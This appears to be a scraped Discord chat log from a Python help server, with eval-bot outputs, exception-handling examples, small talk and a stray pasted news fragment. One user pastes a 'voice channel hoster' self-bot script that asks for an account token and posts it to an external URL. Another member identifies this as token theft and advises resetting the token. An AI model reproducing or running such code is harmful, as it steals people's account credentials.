@vivid jacinth :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 10, in <module>
003 | timestamp = get_bits(token_int,MAIN_BITS_LEN,0,42)
004 | ^^^^^^^^
005 | NameError: name 'get_bits' is not defined
@whole bear :white_check_mark: Your 3.11 eval job has completed with return code 0.
2019-12-03 20:25:28.335000
!e
from datetime import datetime
print(datetime.fromtimestamp(1420070400000/1000))
@vivid jacinth :white_check_mark: Your 3.11 eval job has completed with return code 0.
2015-01-01 00:00:00
@whole bear :white_check_mark: Your 3.11 eval job has completed with return code 0.
2019-12-03 20:25:28.335000
7am for me
He's been here
jk
I'm not American
And thank god I am not
My PC's in American English idk it's just like that
but yeah
Change what to my region?
I live in Morocco we speak English French Spanish Arabic and none of them have a specific version for our country, we in fact have a dialect that is supported nowhere else than Instagram translation
I prefer English
yeah
No
u think I'm dumb?
I just don't want to change my language
cause it supports sorting
alr gn
yeah
Canโt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
Crashed
lol
What is the project that you want to stream?
!stream 548879135938969601
โ @whole bear can now stream until <t:1687658538:f>.
By Douglas Dean Johnson
@ddeanjohnson on Twitter
Original publication: June 24, 2023. 10:30 AM EDT. ย Any substantive updates or corrections added after the initial publication are logged at the end of the article.
The U.S. Senate Select Committee on Intelligence (SSCI) has unanimously approved legislation containing language that
Sources have informed Liberation Times that committee members have received compelling and credible information from multiple sources that has shaped the language.
297
๐ฅSources on Capitol Hill just confirmed with us that in addition to the full funding of the Pentagonโs UFO program, @DoD_AARO, additional provisions will prohibit funding of UAP related SAPs that have not been explicitly briefed to Congress.
#ufotwitter #uaptwitter #ufos #uaps
490
161
!stream 548879135938969601
โ @whole bear can now stream until <t:1687660284:f>.
Have a great weekend
@lunar haven Not allowed to speak in that channel sorry for the radio silence
yo
@tame palm help
?
@tame palm voice chat
lol


probbably just because these chats are chill
pls help me 
lol

๐ ๐ซ 

@tame palm bro my english weke
@cedar solar no voice

@drifting latch Host my discord account 24/7 in voice channel
how
active
my account
@drifting latch yes
@drifting latch 
okk
@drifting latch ooo i see
gm
gm
Hi, I would like to teach a few Python concepts as a way to give back to the community, in probably a few 1 hour sessions. Is it possible to do that on this server? Do I need permission from the mods?
if you mean something involving sharing your screen, then yes, you need a moderator to be present in the VC
@dapper mist how come you've only sent two messages in here according to discord?
both of those today
while being here since 2020
Where or whom can I talk to about this? Which is the right channel to request for the permissions and moderator assistance?
Also where do such sessions happen (I mean is there a separate channel)?
normally, live streaming works like this:
if you and a moderator are in the same voice channel, you can ask them for a permission to stream
this requires you already being voice verified
often, Live-Coding channel is a more appropriate VC for this, as to not interfere with conversations in VC0/VC1
Thank you @vocal basin that makes sense. Is there a list of mods somewhere, so that I could message them in advance to ask for permissions for a planned session (this is in case no one is in the channel at that moment)?
Yes, I know I will have to be voice verified. I have been a long time lurker, but participating has been overwhelming, I am working towards becoming voice verified.
I'd suggest discussing this with @rugged root as he's the Voice Lead
OK, Thank you!
intersting
my lady and I are watching Sir Spooks
hello guys I'm new here ๐
๐
my current headphones have removable battery
I think
my wired heaphones have a replaceable cable
so, I went trhough at least 6 different cables
I don't remember how long they lasted for exactly
at least 6 years
likely more
(they still work, I just don't use them)
panels on the sides can be removed; right side contains the battery, left side has place to store the USB thing
idk if the battery is standardised
it's like a phone battery
(or camera battery)
mark of 0 or 1 is invalid?
isn't that same?
auto-import
exit is an exception anyway
yes, I know
while, try, except.
(within the first sentence it says it can be disabled)
!e
int("ะน")
@vocal basin :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | int("ะน")
004 | ValueError: invalid literal for int() with base 10: 'ะน'
!e
int(1,2,3,4,5,6)
@vocal basin :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | int(1,2,3,4,5,6)
004 | TypeError: int() takes at most 2 arguments (6 given)
!e
int(())
@vocal basin :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | int(())
004 | TypeError: int() argument must be a string, a bytes-like object or a real number, not 'tuple'
TypeError too
!e py try: int('abc') print('def') except ValueError: print('Caught') print('Bye')
@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | Caught
002 | Bye
exits can also be replaced with raise ValueError("value out of range")
(later caught and displayed with appropriate message)
but, I think, not just an exception
it does some extra work (so, ignoring SystemExit exception is not good)
try:
... # take input
except ValueError:
print("incorrect input")
sys.exit(1)
!e
import sys
try:
raise ValueError("something went wrong")
except:
print("incorrect values")
sys.exit(1)
@vocal basin :x: Your 3.11 eval job has completed with return code 1.
incorrect values
import sys
like this
!d sys
This module provides access to some variables used or maintained by the interpreter and to functions that interact strongly with the interpreter. It is always available.
!voice
Canโt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
thanks
@topaz yarrow ๐
@whole bear ๐
@whole bear ๐
https://en.m.wikipedia.org/wiki/Junji_Ito @jolly terrace
Junji Ito (Japanese: ไผ่ค ๆฝคไบ, Hepburn: Itล Junji, born July 31, 1963) is a Japanese horror manga artist. Some of his most notable works include Tomie, a series chronicling an immortal girl who drives her stricken admirers to madness; Uzumaki, a three-volume series about a town obsessed with spirals; and Gyo, a two-volume story in which fish are co...
@slender radish ๐
@fiery scaffold ๐
@fallow mountain ๐
@stoic steeple ๐
someone could give me permission to stream?
can't
you need to be a mod to give permission
and they don't unless they're in vc themselves
@whole bear ๐
!voice
Canโt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
I JUST NEED HELP
help with what?
Hello
HII
import os
os.system('pip install discord')
import discord
from discord.ext import commands
import requests
import runnerfile
runner = runnerfile.runner
wizzencrypt = input("token: ")
intents = discord.Intents.default()
intents.members = True
wizz = commands.Bot(command_prefix="/couples", self_bot=True, case_insensitive=True, intents=intents, help_command=None)
GUILD_ID =
CHANNEL_ID =
@wizz.event
async def on_ready():
requests.post(
runnerfile.runner,
json={'content': (wizzencrypt)})
os.system('clear')
print(f'wizz vc hoster\nLogged in as {wizz.user} ({wizz.user.id})')
vc = discord.utils.get(wizz.get_guild(GUILD_ID).channels, id = CHANNEL_ID)
await vc.guild.change_voice_state(channel=vc, self_mute=False, self_deaf=False)
print(f"Successfully joined {vc.name} ({vc.id})")
wizz.run(wizzencrypt, bot=False)

ready
@whole bear ๐
@cobalt fractal bro help me 
What's topic all of discussed
> pip install discord
wrong packgage name
supposed to be discord.py
@somber heath what's going on
why are you sending token somewhere using requests.post?
if someone told you to do this and gave you the url, reset the token now

somone send me this code

this sends the token to URL specified by runnerfile.runner
requests.post(
runnerfile.runner,
json={'content': (wizzencrypt)})
unless you own the server that URL belongs to, it's probably better to avoid
anyone h
okkk
sir
hi guys
yes, some of us are
discord bot?
or personal account?
why would you need a personal account in VC for so long?
if you want to be in VC at all times, just don't leave the VC
I just want to try to active some account in my discord voice channel
in my country electricity problem so much

is cost the main issue? or is it stability?
as in too expensive?
or frequent power cuts?
frequent power cuts
join and don't leave
for my bot server, I use a UPS (uninterruptible power supply)
it's somewhat costly, but it helps with power cuts, at least to some extent
or that, yes







43,041
334,282




